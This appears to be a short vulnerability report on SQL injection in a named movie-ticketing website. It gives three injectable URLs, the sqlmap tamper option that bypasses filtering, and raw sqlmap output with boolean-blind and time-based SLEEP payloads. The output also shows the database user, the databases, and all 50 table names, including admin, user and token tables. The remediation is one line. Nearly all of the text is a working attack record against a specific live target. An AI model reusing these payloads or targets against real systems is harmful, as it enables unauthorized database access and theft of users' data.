Web SQL injection and packaging

Web SQL injection and packaging

 

Three injection packages

Injection Point 1:

http://www.wepiao.com/?a=filmdetail&c=film&m=web&fid=5452

Fid Parameter

Injection Point 2:

http://www.wepiao.com/?a=cinemadetailshow&c=cinema&m=web&cinemaid=1002069

Cinemaid Parameter

Injection Point 3:

http://www.wepiao.com/?a=seatinfo&c=film&mpid=5574e033ba8e7fbb7d8b56f5&scheid=&m=web&cinemaid=1002069&hid=8&fid=5577

Cinemaid = 1002069 Parameter



Sqlmap: The parameter -- tamper = space2comment needs to be added.
 

 

sqlmap identified the following injection points with a total of 169 HTTP(s) requests:---Parameter: fid (GET)    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause    Payload: a=filmdetail&c=film&m=web&fid=5452' AND 1072=1072 AND 'VGcO'='VGcO    Vector: AND [INFERENCE]    Type: AND/OR time-based blind    Title: MySQL >= 5.0.12 AND time-based blind    Payload: a=filmdetail&c=film&m=web&fid=5452' AND SLEEP(5) AND 'BSKe'='BSKe    Vector: AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])---web application technology: PHP 5.4.35back-end DBMS: MySQL 5.0.12current user:    'app_weiying@%'current database:    'app_weiying'current user is DBA:    Falseavailable databases [3]:[*] app_weiying[*] information_schema[*] testsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Parameter: fid (GET)    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause    Payload: a=filmdetail&c=film&m=web&fid=5452' AND 1072=1072 AND 'VGcO'='VGcO    Vector: AND [INFERENCE]    Type: AND/OR time-based blind    Title: MySQL >= 5.0.12 AND time-based blind    Payload: a=filmdetail&c=film&m=web&fid=5452' AND SLEEP(5) AND 'BSKe'='BSKe    Vector: AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])---back-end DBMS: MySQL 5.0.12sqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Parameter: fid (GET)    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause    Payload: a=filmdetail&c=film&m=web&fid=5452' AND 1072=1072 AND 'VGcO'='VGcO    Vector: AND [INFERENCE]    Type: AND/OR time-based blind    Title: MySQL >= 5.0.12 AND time-based blind    Payload: a=filmdetail&c=film&m=web&fid=5452' AND SLEEP(5) AND 'BSKe'='BSKe    Vector: AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])---web application technology: PHP 5.4.35, Nginxback-end DBMS: MySQL 5.0.12Database: app_weiying[50 tables]+-----------------------------+| !omment_like                || comment                     || comment_reply               || film_seen                   || film_want                   || t_weiying_banner            || t_weiying_order             || weiying_active              || weiying_activites           || weiying_ad                  || weiying_admin               || weiying_admin_panel         || weiying_admin_role          || weiying_admin_role_priv     || weiying_area                || weiying_certificate         || weiying_cinema              || weiying_city                || weiying_code                || weiying_copywriting         || weiying_device              || weiying_evallike            || weiying_evaluation          || weiying_fctable             || weiying_feedback            || weiying_film                || weiying_grouponticket_order || weiying_groupticket         || weiying_hall                || weiying_menu                || weiying_notice              || weiying_order               || weiying_order_stream        || weiying_paytemp             || weiying_poster              || weiying_praise              || weiying_preuve              || weiying_reply               || weiying_sche                || weiying_scheseat            || weiying_scheseat_new        || weiying_seats               || weiying_see                 || weiying_show                || weiying_tagephoto           || weiying_ticket              || weiying_token               || weiying_user                || weiying_versions            || weiying_webad               |+-----------------------------+

Prove it.

Solution:

Parameter Filtering